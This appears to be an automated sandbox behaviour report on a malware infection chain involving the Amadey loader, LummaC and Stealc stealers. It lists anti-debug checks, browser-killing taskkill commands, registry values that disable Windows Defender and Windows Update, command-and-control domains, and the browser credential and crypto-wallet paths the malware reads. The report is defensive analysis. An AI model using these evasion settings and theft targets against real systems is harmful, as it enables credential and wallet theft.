Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugObjectHandle

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 6e2c49386e.exe PID: 1076, type: MEMORYSTR

LummaC encrypted strings found

Source: ff3d383111.exe, 00000004.00000003.1810689632.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: ff3d383111.exe, 00000004.00000003.1810689632.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: ff3d383111.exe, 00000004.00000003.1810689632.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: ff3d383111.exe, 00000004.00000003.1810689632.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: ff3d383111.exe, 00000004.00000003.1810689632.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: ff3d383111.exe, 00000004.00000003.1810689632.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: ff3d383111.exe, 00000004.00000003.1810689632.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: ff3d383111.exe, 00000004.00000003.1810689632.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe "C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe "C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe "C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002978001\num.exe "C:\Users\user\AppData\Local\Temp\1002978001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe "C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 67333e07f4.exe, 0000000A.00000002.2008472659.0000000000BD2000.00000002.00000001.01000000.0000000B.sdmp

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002978001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002978001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: ff3d383111.exe, 00000004.00000003.1948184866.0000000005B11000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1948019124.000000000124C000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.2131322643.00000000011C9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1947956344.0000000005B11000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1915558999.000000000124C000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1989560579.0000000005B11000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1915376688.0000000005B10000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 34.2.7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ykDoK8BtxW.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1701815777.00000000002B1000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2259361339.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1680029755.0000000001210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1675550950.0000000001100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1699514471.00000000032D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.2298930667.0000000001160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2178218988.0000000004880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2220280024.00000000002B1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1651068675.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1681719913.00000000002B1000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1671051580.0000000000781000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 67333e07f4.exe PID: 7392, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ff3d383111.exe PID: 5960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ff3d383111.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 28.2.6e2c49386e.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.num.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.9c961c26ae.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.6e2c49386e.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.num.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.num.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1928139125.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2235783567.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2098127284.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2035432368.0000000000B31000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1886057556.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.2019490757.0000000000B31000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2238114633.0000000000EF1000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2047550993.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2036279915.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2049712419.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.2019585146.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1926357964.00000000002D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2136296360.00000000002D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2187544933.0000000000B31000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2187639140.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2139181992.0000000000D4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6e2c49386e.exe PID: 1076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9c961c26ae.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ff3d383111.exe, 00000004.00000003.1863927801.0000000001226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: ff3d383111.exe, 00000004.00000003.1863927801.0000000001226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: ff3d383111.exe, 00000004.00000003.1915500086.0000000001226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: ff3d383111.exe, 00000004.00000003.2131322643.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: ff3d383111.exe, 00000004.00000003.1863927801.0000000001226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: ff3d383111.exe, 00000004.00000003.1863927801.0000000001226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: ff3d383111.exe, 00000004.00000003.2131322643.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: ff3d383111.exe, 00000004.00000003.1915500086.0000000001226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: ff3d383111.exe, 00000004.00000003.1863927801.0000000001226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
